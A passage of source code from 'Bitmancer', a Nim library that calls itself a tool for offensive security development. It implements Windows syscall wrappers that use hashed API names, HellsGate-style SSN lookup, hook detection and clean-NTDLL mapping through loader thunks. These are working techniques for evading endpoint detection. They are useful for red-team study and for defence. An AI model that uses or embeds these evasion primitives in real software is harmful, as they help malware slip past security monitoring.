115 | SafeBootMode*: UCHAR
116 | VirtualizationFlags*: UCHAR
117 | Reserved12*: array[2, UCHAR]
118 | Union2*: KUSER_SHARED_DATA_UNION_2
119 | DataFlagsPad*: ULONG
120 | TestRetInstruction*: ULONGLONG
121 | QpcFrequency*: LONGLONG
122 | SystemCall*: ULONG
123 | Reserved2*: ULONG
124 | SystemCallPad*: array[2, ULONGLONG]
125 | Union3*: KUSER_SHARED_DATA_TICK_COUNT
126 | TickCountPad*: ULONG
127 | Cookie*: ULONG
128 | CookiePad*: ULONG
129 | ConsoleSessionForegroundProcessId*: LONGLONG
130 | TimeUpdateLock*: ULONGLONG
131 | BaselineSystemTimeQpc*: ULONGLONG
132 | BaselineInterruptTimeQpc*: ULONGLONG
133 | QpcSystemTimeIncrement*: ULONGLONG
134 | QpcInterruptTimeIncrement*: ULONGLONG
135 | QpcSystemTimeIncrementShift*: UCHAR
136 | QpcInterruptTimeIncrementShift*: UCHAR
137 | UnparkedProcessorCount*: USHORT
138 | EnclaveFeatureMask*: array[4, ULONG]
139 | TelemetryCoverageRound*: ULONG
140 | UserModeGlobalLogger*: array[16, USHORT]
141 | ImageFileExecutionOptions*: ULONG
142 | LangGenerationCount*: ULONG
143 | Reserved4*: ULONGLONG
144 | InterruptTimeBias*: ULONGLONG
145 | QpcBias*: ULONGLONG
146 | ActiveProcessorCount*: ULONG
147 | ActiveGroupCount*: UCHAR
148 | Reserved9*: UCHAR
149 | QpcData*: USHORT
150 | TimeZoneBiasEffectiveStart*: LARGE_INTEGER
151 | TimeZoneBiasEffectiveEnd*: LARGE_INTEGER
152 | XState*: XSTATE_CONFIGURATION
153 | FeatureConfigurationChangeStamp*: KSYSTEM_TIME
154 | Spare*: ULONG
155 |
156 | PKUSER_SHARED_DATA* = ptr KUSER_SHARED_DATA
157 |
--------------------------------------------------------------------------------
/src/Bitmancer/ntdll/query.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../syscalls
23 |
24 | export
25 | syscalls
26 |
27 | ## Compile Time Settings
28 | ##------------------------------------------------------------------------
29 | const
30 | ## Performance Counter Settings
31 | ##---------------------------------------------------------------------
32 | PerfExeEnum* {.intDefine.} = SyscallExecution.Indirect
33 | PerfSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
34 | PerfSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
35 |
36 | ## System Information Settings
37 | ##---------------------------------------------------------------------
38 | SysInfoExeEnum* {.intDefine.} = SyscallExecution.Direct
39 | SysInfoSsnEnum* {.intDefine.} = SsnEnumeration.HellsGate
40 | SysInfoSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
41 |
42 | ## Virtual Memory Settings
43 | ##---------------------------------------------------------------------
44 | VMInfoExeEnum* {.intDefine.} = SyscallExecution.Indirect
45 | VMInfoSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
46 | VMInfoSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
47 |
48 | ## Hashes
49 | ##---------------------------------------------------------------------
50 | const
51 | NtQuerySystemInformationHash* = ctDjb2 "NtQuerySystemInformation"
52 | NtQueryPerformanceCounterHash* = ctDjb2 "NtQueryPerformanceCounter"
53 | NtQuerySystemTimeHash* = ctDjb2 "NtQuerySystemTime"
54 | NtQueryVirtualMemoryHash* = ctDjb2 "NtQueryVirtualMemory"
55 |
56 | ## NtQuery* APIs
57 | ##------------------------------------------------------------------------
58 | template GET_BASIC_SYSTEM_INFO*(sysInfo: var SYSTEM_BASIC_INFORMATION): NtResult[void] =
59 | ntQuerySystemInformation(
60 | cast[PVOID](addr sysInfo),
61 | SYSTEM_INFORMATION_CLASS.SystemBasicInformation,
62 | sizeOf(SYSTEM_BASIC_INFORMATION)
63 | )
64 |
65 | template GET_BASIC_VM_INFO*(
66 | processHandle: HANDLE,
67 | baseAddress: PVOID,
68 | memInfo: var MEMORY_BASIC_INFORMATION,
69 | retLength: PSIZE_T
70 | ): NtResult[void] =
71 | ntQueryVirtualMemory(
72 | processHandle,
73 | baseAddress,
74 | cast[PVOID](addr memInfo),
75 | MEMORY_INFORMATION_CLASS.MemoryBasicInformation,
76 | sizeOf(MEMORY_BASIC_INFORMATION),
77 | retLength
78 | )
79 |
80 | ## SystemInformation
81 | ##------------------------------------
82 | template getNtQuerySystemInformation*(
83 | Ntdll: ModuleHandle,
84 | importBase: ModuleHandle,
85 | symEnum: static SymbolEnumeration = SysInfoSymEnum,
86 | ssnEnum: static SsnEnumeration = SysInfoSsnEnum,
87 | exeEnum: static SyscallExecution = SysInfoExeEnum
88 | ): NtResult[NtSyscall[NtQuerySystemInformation]] =
89 | getNtSyscall[NtQuerySystemInformation](Ntdll, importBase, NtQuerySystemInformationHash, symEnum, ssnEnum, exeEnum)
90 |
91 | proc ntQuerySystemInformation*(systemInfo: PVOID, systemClass: SYSTEM_INFORMATION_CLASS, systemSz: SIZE_T): NtResult[void] =
92 | genSyscall(NtQuerySystemInformation)
93 | let
94 | Ntdll = ? NTDLL_BASE()
95 | NtSyscall =
96 | when SysInfoSymEnum == SymbolEnumeration.UseEAT:
97 | ? getNtQuerySystemInformation(Ntdll, ModuleHandle(NULL))
98 | elif SysInfoSymEnum == SymbolEnumeration.UseIAT:
99 | let Kernel32 = ? KERNEL32_BASE()
100 | ? getNtQuerySystemInformation(Ntdll, Kernel32)
101 |
102 | NT_RESULT NtQuerySystemInformationWrapper(
103 | systemClass,
104 | systemInfo,
105 | systemSz.ULONG,
106 | NULL,
107 | NtSyscall
108 | ): void
109 |
110 | ## Time/Performance
111 | ##------------------------------------
112 | template getNtQueryPerformanceCounter*(
113 | Ntdll: ModuleHandle,
114 | importBase: ModuleHandle,
115 | symEnum: static SymbolEnumeration = PerfSymEnum,
116 | ssnEnum: static SsnEnumeration = PerfSsnEnum,
117 | exeEnum: static SyscallExecution = PerfExeEnum
118 | ): NtResult[NtSyscall[NtQueryPerformanceCounter]] =
119 | getNtSyscall[NtQueryPerformanceCounter](Ntdll, importBase, NtQueryPerformanceCounterHash, symEnum, ssnEnum, exeEnum)
120 |
121 | proc ntQueryPerformanceCounter*(perfCounter: var LARGE_INTEGER, perfFrequency: PLARGE_INTEGER): NtResult[void] {.discardable.} =
122 | genSyscall(NtQueryPerformanceCounter)
123 | let
124 | Ntdll = ? NTDLL_BASE()
125 | NtSyscall =
126 | when PerfSymEnum == SymbolEnumeration.UseEAT:
127 | ? getNtQueryPerformanceCounter(Ntdll, ModuleHandle(NULL))
128 | elif PerfSymEnum == SymbolEnumeration.UseIAT:
129 | let Kernel32 = ? KERNEL32_BASE()
130 | ? getNtQueryPerformanceCounter(Ntdll, Kernel32)
131 | NT_RESULT NtQueryPerformanceCounterWrapper(
132 | perfCounter,
133 | perfFrequency,
134 | NtSyscall
135 | ): void
136 |
137 | proc getNtQuerySystemTime*(Ntdll: ModuleHandle): NtResult[NtQuerySystemTime] {.inline.} =
138 | let f = ? getProcAddress(Ntdll, NtQuerySystemTimeHash)
139 | ok cast[NtQuerySystemTime](f)
140 |
141 | proc ntQuerySystemTime*(systemTime: var LARGE_INTEGER): NtResult[void] {.discardable.} =
142 | let
143 | Ntdll = ? NTDLL_BASE()
144 | NtSyscall = ? getNtQuerySystemTime Ntdll
145 | NT_RESULT NtSyscall(systemTime): void
146 |
147 | ## VirtualMemory
148 | ##------------------------------------
149 | template getNtQueryVirtualMemory*(
150 | Ntdll: ModuleHandle,
151 | importBase: ModuleHandle,
152 | symEnum: static[SymbolEnumeration] = VMInfoSymEnum,
153 | ssnEnum: static[SsnEnumeration] = VMInfoSsnEnum,
154 | exeEnum: static[SyscallExecution] = VMInfoExeEnum
155 | ): NtResult[NtSyscall[NtQueryVirtualMemory]] =
156 | getNtSyscall[NtQueryVirtualMemory](Ntdll, importBase, NtQueryVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
157 |
158 | proc ntQueryVirtualMemory*(
159 | processHandle: HANDLE,
160 | baseAddress: PVOID,
161 | memInfo: PVOID,
162 | memClass: MEMORY_INFORMATION_CLASS,
163 | memSz: SIZE_T,
164 | returnLength: PSIZE_T
165 | ): NtResult[void] =
166 | genSyscall(NtQueryVirtualMemory)
167 | let
168 | Ntdll = ? NTDLL_BASE()
169 | NtSyscall =
170 | when VMInfoSymEnum == SymbolEnumeration.UseEAT:
171 | ? getNtQueryVirtualMemory(Ntdll, ModuleHandle(NULL))
172 | elif VMInfoSymEnum == SymbolEnumeration.UseIAT:
173 | let Kernel32 = ? KERNEL32_BASE()
174 | ? getNtQueryVirtualMemory(Ntdll, Kernel32)
175 | NT_RESULT NtQueryVirtualMemoryWrapper(
176 | processHandle,
177 | baseAddress,
178 | memClass,
179 | memInfo,
180 | memSz,
181 | returnLength,
182 | NtSyscall
183 | ): void
184 |
--------------------------------------------------------------------------------
/src/Bitmancer/ntdll/vm.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../syscalls
23 |
24 | export
25 | syscalls
26 |
27 | ## Compile Time Settings
28 | ##------------------------------------------------------------------------
29 | const
30 | ## NtAllocateVirtualMemory Syscall Settings
31 | ##---------------------------------------------------------------------
32 | AllocExeEnum* {.intDefine.} = SyscallExecution.Indirect
33 | AllocSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
34 | AllocSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
35 |
36 | ## NtFreeVirtualmemory Syscall Settings
37 | ##---------------------------------------------------------------------
38 | FreeExeEnum* {.intDefine.} = SyscallExecution.Indirect
39 | FreeSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
40 | FreeSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
41 |
42 | ## NtProtectVirtualMemory Syscall Settings
43 | ##---------------------------------------------------------------------
44 | ProtectExeEnum* {.intDefine.} = SyscallExecution.Indirect
45 | ProtectSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
46 | ProtectSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
47 |
48 | ## NtWriteVirtualMemory Syscall Settings
49 | ##---------------------------------------------------------------------
50 | WriteExeEnum* {.intDefine.} = SyscallExecution.Indirect
51 | WriteSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter
52 | WriteSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT
53 |
54 | ## Hashes
55 | ##---------------------------------------------------------------------
56 | const
57 | NtAllocateVirtualMemoryHash* = ctDjb2 "NtAllocateVirtualMemory"
58 | NtFreeVirtualMemoryHash* = ctDjb2 "NtFreeVirtualMemory"
59 | NtProtectVirtualMemoryHash* = ctDjb2 "NtProtectVirtualMemory"
60 | NtWriteVirtualMemoryHash* = ctDjb2 "NtWriteVirtualMemory"
61 |
62 | ## Nt* Memory APIs
63 | ##------------------------------------------------------------------------
64 | template PROCESS_MEMORY_ALLOC*(allocBase: var PVOID, regionSize: var SIZE_T, allocType, protect: ULONG): NtResult[void] =
65 | ntAllocateVirtualMemory(RtlCurrentProcess(), allocBase, regionSize, allocType, protect)
66 |
67 | template PROCESS_MEMORY_FREE*(allocBase: var PVOID, regionSize: var SIZE_T): NtResult[void] =
68 | ntFreeVirtualMemory(RtlCurrentProcess(), allocBase, regionSize, MEM_RELEASE)
69 |
70 | template PROCESS_MEMORY_PROTECT*(allocBase: var PVOID, allocSz: var SIZE_T, protections: ULONG): NtResult[void] =
71 | ntProtectVirtualMemory(allocBase, allocSz, protections, NULL)
72 |
73 | ## NtAllocateVirtualMemory
74 | ##------------------------------------
75 | template getNtAllocateVirtualMemory*(
76 | Ntdll: ModuleHandle,
77 | importBase: ModuleHandle,
78 | symEnum: static SymbolEnumeration = AllocSymEnum,
79 | ssnEnum: static SsnEnumeration = AllocSsnEnum,
80 | exeEnum: static SyscallExecution = AllocExeEnum
81 | ): NtResult[NtSyscall[NtAllocateVirtualMemory]] =
82 | getNtSyscall[NtAllocateVirtualMemory](Ntdll, importBase, NtAllocateVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
83 |
84 | proc ntAllocateVirtualMemory*(
85 | processHandle: HANDLE,
86 | baseAddress: var PVOID,
87 | regionSize: var SIZE_T,
88 | allocType: ULONG,
89 | protect: ULONG
90 | ): NtResult[void] =
91 | genSyscall(NtAllocateVirtualMemory)
92 | let
93 | Ntdll = ? NTDLL_BASE()
94 | NtSyscall =
95 | when AllocSymEnum == SymbolEnumeration.UseEAT:
96 | ? getNtAllocateVirtualMemory(Ntdll, ModuleHandle(NULL))
97 | elif AllocSymEnum == SymbolEnumeration.UseIAT:
98 | let Kernel32 = ? KERNEL32_BASE()
99 | ? getNtAllocateVirtualMemory(Ntdll, Kernel32)
100 |
101 | NT_RESULT NtAllocateVirtualMemoryWrapper(
102 | processHandle,
103 | baseAddress,
104 | 0,
105 | regionSize,
106 | allocType,
107 | protect,
108 | NtSyscall
109 | ): void
110 |
111 | ## NtFreeVirtualmemory
112 | ##------------------------------------
113 | template getNtFreeVirtualMemory*(
114 | Ntdll: ModuleHandle,
115 | importBase: ModuleHandle,
116 | symEnum: static SymbolEnumeration = FreeSymEnum,
117 | ssnEnum: static SsnEnumeration = FreeSsnEnum,
118 | exeEnum: static SyscallExecution = FreeExeEnum
119 | ): NtResult[NtSyscall[NtFreeVirtualMemory]] =
120 | getNtSyscall[NtFreeVirtualMemory](Ntdll, importBase, NtFreeVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
121 |
122 | proc ntFreeVirtualMemory*(
123 | processHandle: HANDLE,
124 | baseAddress: var PVOID,
125 | sz: var SIZE_T,
126 | dwFlags: ULONG
127 | ): NtResult[void] {.discardable.} =
128 | genSyscall(NtFreeVirtualMemory)
129 | let
130 | Ntdll = ? NTDLL_BASE()
131 | NtSyscall =
132 | when FreeSymEnum == SymbolEnumeration.UseEAT:
133 | ? getNtFreeVirtualMemory(Ntdll, ModuleHandle(NULL))
134 | elif FreeSymEnum == SymbolEnumeration.UseIAT:
135 | let Kernel32 = ? KERNEL32_BASE()
136 | ? getNtFreeVirtualMemory(Ntdll, Kernel32)
137 |
138 | NT_RESULT NtFreeVirtualMemoryWrapper(
139 | processHandle,
140 | baseAddress,
141 | sz,
142 | dwFlags,
143 | NtSyscall
144 | ): void
145 |
146 | ## NtProtectVirtualMemory
147 | ##------------------------------------
148 | template getNtProtectVirtualMemory*(
149 | Ntdll: ModuleHandle,
150 | importBase: ModuleHandle,
151 | symEnum: static SymbolEnumeration = ProtectSymEnum,
152 | ssnEnum: static SsnEnumeration = ProtectSsnEnum,
153 | exeEnum: static SyscallExecution = ProtectExeEnum
154 | ): NtResult[NtSyscall[NtProtectVirtualMemory]] =
155 | getNtSyscall[NtProtectVirtualMemory](Ntdll, importBase, NtProtectVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
156 |
157 | proc ntProtectVirtualMemory*(
158 | protectBase: var PVOID,
159 | protectSz: var SIZE_T,
160 | protections: ULONG,
161 | oldProtections: PULONG
162 | ): NtResult[void] {.discardable.} =
163 | genSyscall(NtProtectVirtualMemory)
164 | let
165 | Ntdll = ? NTDLL_BASE()
166 | NtSyscall =
167 | when ProtectSymEnum == SymbolEnumeration.UseEAT:
168 | ? getNtProtectVirtualMemory(Ntdll, ModuleHandle(NULL))
169 | elif ProtectSymEnum == SymbolEnumeration.UseIAT:
170 | let Kernel32 = ? KERNEL32_BASE()
171 | ? getNtProtectVirtualMemory(Ntdll, Kernel32)
172 | NT_RESULT NtProtectVirtualMemoryWrapper(
173 | rtlCurrentProcess(),
174 | protectBase,
175 | protectSz,
176 | protections,
177 | oldProtections,
178 | NtSyscall
179 | ): void
180 |
181 | ## NtWriteVirtualMemory
182 | ##------------------------------------
183 | template getNtWriteVirtualMemory*(
184 | Ntdll: ModuleHandle,
185 | importBase: ModuleHandle,
186 | symEnum: static SymbolEnumeration = WriteSymEnum,
187 | ssnEnum: static SsnEnumeration = WriteSsnEnum,
188 | exeEnum: static SyscallExecution = WriteExeEnum
189 | ): NtResult[NtSyscall[NtWriteVirtualMemory]] =
190 | getNtSyscall[NtWriteVirtualMemory](Ntdll, importBase, NtWriteVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
191 |
192 | proc ntWriteVirtualMemory*(
193 | processHandle: HANDLE,
194 | allocBase: PVOID,
195 | memBase: PVOID,
196 | memSz: SIZE_T,
197 | bytesWritten: PULONG
198 | ): NtResult[void] =
199 | genSyscall(NtWriteVirtualMemory)
200 | let
201 | Ntdll = ? NTDLL_BASE()
202 | NtSyscall =
203 | when WriteSymEnum == SymbolEnumeration.UseEAT:
204 | ? getNtWriteVirtualMemory(Ntdll, ModuleHandle(NULL))
205 | elif WriteSymEnum == SymbolEnumeration.UseIAT:
206 | let Kernel32 = ? KERNEL32_BASE()
207 | ? getNtWriteVirtualMemory(Ntdll, Kernel32)
208 |
209 | NT_RESULT NtWriteVirtualMemoryWrapper(
210 | processHandle,
211 | allocBase,
212 | memBase,
213 | ULONG(memSz),
214 | bytesWritten,
215 | NtSyscall
216 | ): void
217 |
--------------------------------------------------------------------------------
/src/Bitmancer/syscalls/ldrthunks.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | base
23 |
24 | export
25 | base
26 |
27 | ## LdrThunks
28 | ## Utilize the NT Loader's LdrThunkSignatures to map a clean NTDLL into the
29 | ## process to find clean syscall SSNs.
30 | ##
31 | ## This can be greatly improved, ideally I would like to call this only once
32 | ## and pass in a batch of needed SSNs.
33 | ##------------------------------------------------------------------------
34 | const
35 | LDR_THUNK_SIGS* = 5
36 | LDR_THUNK_SIG_SIZE* = 16
37 | LDR_THUNK_SIG* = uint32 0xb8d18b4c
38 | NtOpenSectionIndex = 3
39 | NtMapViewOfSectionIndex = 4
40 | NtOpenSectionHash = HASH_A cstring "NtOpenSection"
41 | NtMapViewOfSectionHash = HASH_A cstring "NtMapViewOfSection"
42 | NtCloseHash = HASH_A cstring "NtClose"
43 | NtUnmapViewOfSectionHash = HASH_A cstring "NtUnmapViewOfSection"
44 | type
45 | LdrThunkSignature* = array[LDR_THUNK_SIG_SIZE, byte]
46 | LdrpThunkSignatures* = array[LDR_THUNK_SIGS, LdrThunkSignature]
47 | PLdrpThunkSignatures* = ptr LdrpThunkSignatures
48 |
49 | ## Private
50 | ##------------------------------------------------------------------------
51 | template isThunkSignatureArray(pCurrentAddr: PVOID): bool =
52 | cast[ptr uint32](pCurrentAddr)[] == LDR_THUNK_SIG and
53 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE)[] == LDR_THUNK_SIG and
54 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 2)[] == LDR_THUNK_SIG and
55 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 3)[] == LDR_THUNK_SIG and
56 | cast[ptr uint32](pCurrentAddr +! LDR_THUNK_SIG_SIZE * 4)[] == LDR_THUNK_SIG
57 |
58 | template NT_OPEN_SECTION_SIG(ldrsigs: PLdrpThunkSignatures): WORD =
59 | cast[PWORD](addr ldrsigs[NtOpenSectionIndex][4])[]
60 |
61 | template NT_MAP_VIEW_OF_SECTION_SIG(ldrsigs: PLdrpThunkSignatures): WORD =
62 | cast[PWORD](addr ldrsigs[NtMapViewOfSectionIndex][4])[]
63 |
64 | ## Helpers
65 | ##------------------------------------
66 | proc ldrThunkFindCleanStub(stub: var PVOID) =
67 | for i in 0 ..< 500:
68 | ## check neighboring syscall down
69 | if checkStub(stub, DWORD(i * StubOffsetDown)).isOk():
70 | stub +=! DWORD(i * StubOffsetDown)
71 | break
72 | ## check neighboring syscall up
73 | if checkStub(stub, DWORD(i * StubOffsetUp)).isOk():
74 | stub -=! DWORD(i * StubOffsetUp)
75 | break
76 |
77 | proc ldrThunkFindSyscall(ident: SomeProcIdent): NtResult[PVOID] =
78 | let Ntdll = ? NTDLL_BASE()
79 | var inMemNtUnmapView = ? getProcAddress(Ntdll, ident)
80 | if inMemNtUnmapView.isHooked():
81 | ldrThunkFindCleanStub inMemNtUnmapView
82 | ok (inMemNtUnmapView)
83 |
84 | proc ldrThunkGetSyscallResult(pCleanNtdll: ModuleHandle, ident: SomeProcIdent): SyscallResult =
85 | ## Retrieves the Nt* API `T`'s SSN from the Clean NTDLL. Then finds a syscall address and
86 | ## instruction from the in memory NTDLL to use for the indirect syscall.
87 | let
88 | cleanNtUnmapView = ? getProcAddress(pCleanNtdll, ident)
89 | cleanSyscallResult = ? checkStub(cleanNtUnmapView, 0)
90 | pInMemFunc = ? ldrThunkFindSyscall(ident)
91 | ok Syscall(
92 | wSyscall: cleanSyscallResult.wSyscall,
93 | pSyscall: pInMemFunc
94 | )
95 |
96 | proc ldrThunkGetNtSyscall(pCleanNtdll: ModuleHandle, T: typedesc, ident: SomeProcIdent): NtResult[NtSyscall[T]] {.inline.} =
97 | let syscallRes = ? ldrThunkGetSyscallResult(pCleanNtdll, ident)
98 | ok NtSyscall[T](
99 | syscall: syscallRes,
100 | pFunction: cast[T](spoofStub)
101 | )
102 |
103 | proc ldrThunkCleanUp(sHandle: HANDLE, pCleanNtdll: ModuleHandle): NtResult[void] {.discardable.} =
104 | genSyscall(NtUnmapViewOfSection)
105 | genSyscall(NtClose)
106 | let
107 | NtSyscallClose = ? ldrThunkGetNtSyscall(pCleanNtdll, NtClose, NtCloseHash)
108 | NtSyscallUnmapView = ldrThunkGetNtSyscall(pCleanNtdll, NtUnmapViewOfSection, NtUnmapViewOfSectionHash)
109 | .valueOr():
110 | discard NtCloseWrapper(sHandle, NtSyscallClose)
111 | return err SyscallNotFound
112 |
113 | if not NT_SUCCESS NtUnmapViewOfSectionWrapper(
114 | rtlCurrentProcess(),
115 | pCleanNtdll.PVOID,
116 | NtSyscallUnmapView
117 | ): return err SyscallFailure
118 |
119 | NT_RESULT NtCloseWrapper(
120 | sHandle,
121 | NtSyscallClose
122 | ): void
123 |
124 | ## Map Clean NTDLL
125 | ##------------------------------------
126 | func getLdrThunks(imageBase: ModuleHandle): NtResult[PLdrpThunkSignatures] =
127 | let pSection = ? getDataSection(imageBase)
128 | var pCurrentAddr = SECTION_START(imageBase, pSection)
129 |
130 | while pCurrentAddr != SECTION_END(imageBase, pSection) -! (LDR_THUNK_SIG_SIZE * LDR_THUNK_SIGS):
131 | if isThunkSignatureArray(pCurrentAddr):
132 | return ok cast[PLdrpThunkSignatures](pCurrentAddr)
133 | pCurrentAddr = pCurrentAddr +! 4
134 | err SignaturesNotFound
135 |
136 | proc ldrThunkOpenSection(sHandle: var HANDLE, ssn: WORD): NtResult[void] =
137 | genSyscall(NtOpenSection)
138 | var knownDlls {.stackStringW.} = "\\KnownDlls\\ntdll.dll"
139 |
140 | ## Initialize Object Attributes
141 | var
142 | objAttributes = OBJECT_ATTRIBUTES()
143 | objPath = UNICODE_STRING()
144 | objBuffer = cast[PCWSTR](addr knownDlls[0])
145 | RTL_INIT_EMPTY_UNICODE_STRING(objPath, objBuffer, objBuffer.len.USHORT)
146 | InitializeObjectAttributes(addr objAttributes, addr objPath, 0, sHandle, NULL)
147 |
148 | ## Get a syscall instruction for indirect jump
149 | let pInMemFunc = ? ldrThunkFindSyscall(NtOpenSectionHash)
150 |
151 | ## Do Syscall
152 | let NtOpenSect = NtSyscall[NtOpenSection](
153 | syscall: Syscall(
154 | wSyscall: ssn,
155 | pSyscall: pInMemFunc
156 | ),
157 | pFunction: cast[NtOpenSection](spoofStub)
158 | )
159 | ## TODO: need SECTION_QUERY?
160 | NT_RESULT NtOpenSectionWrapper(
161 | sHandle,
162 | ACCESS_MASK(SECTION_MAP_READ or SECTION_MAP_EXECUTE),
163 | addr objAttributes,
164 | NtOpenSect
165 | ): void
166 |
167 | proc ldrThunkMapView(sHandle: HANDLE, pCleanNtdll: var ModuleHandle, ssn: WORD): NtResult[void] =
168 | genSyscall(NtMapViewOfSection)
169 | var viewSize = SIZE_T(0)
170 |
171 | ## Get a syscall instruction for indirect jump
172 | let pInMemFunc = ? ldrThunkFindSyscall(NtMapViewOfSectionHash)
173 |
174 | let NtMapView = NtSyscall[NtMapViewOfSection](
175 | syscall: Syscall(
176 | wSyscall: ssn,
177 | pSyscall: pInMemFunc,
178 | ),
179 | pFunction: cast[NtMapViewOfSection](spoofStub)
180 | )
181 |
182 | NT_RESULT NtMapViewOfSectionWrapper(
183 | sHandle, rtlCurrentProcess(), pCleanNtdll.PVOID,
184 | 0, 0, NULL, viewSize, 1, 0, PAGE_READONLY,
185 | NtMapView
186 | ): void
187 |
188 | proc ldrThunkMapCleanNtdll(imageBase: ModuleHandle, sHandle: var HANDLE, pCleanNtdll: var ModuleHandle): NtResult[void] =
189 | let
190 | pLdrThunkSignatures = ? getLdrThunks(imageBase)
191 | wNtOpenSection = NT_OPEN_SECTION_SIG(pLdrThunkSignatures)
192 | wNtMapViewOfSection = NT_MAP_VIEW_OF_SECTION_SIG(pLdrThunkSignatures)
193 | if wNtOpenSection == 0 or wNtMapViewOfSection == 0:
194 | return err SyscallNotFound
195 |
196 | ? ldrThunkOpenSection(sHandle, wNtOpenSection)
197 | ldrThunkMapView(sHandle, pCleanNtdll, wNtMapViewOfSection)
198 |
199 | ## Public
200 | ##------------------------------------
201 | proc ldrThunksEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
202 | var
203 | sectionHandle = HANDLE(0)
204 | pCleanNtdll = ModuleHandle(NULL)
205 | ? ldrThunkMapCleanNtdll(imageBase, sectionHandle, pCleanNtdll)
206 | result = ldrThunkGetSyscallResult(pCleanNtdll, ident)
207 | ldrThunkCleanUp(sectionHandle, pCleanNtdll)
208 |
209 | template ldrThunks*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult =
210 | ## TODO
211 |
--------------------------------------------------------------------------------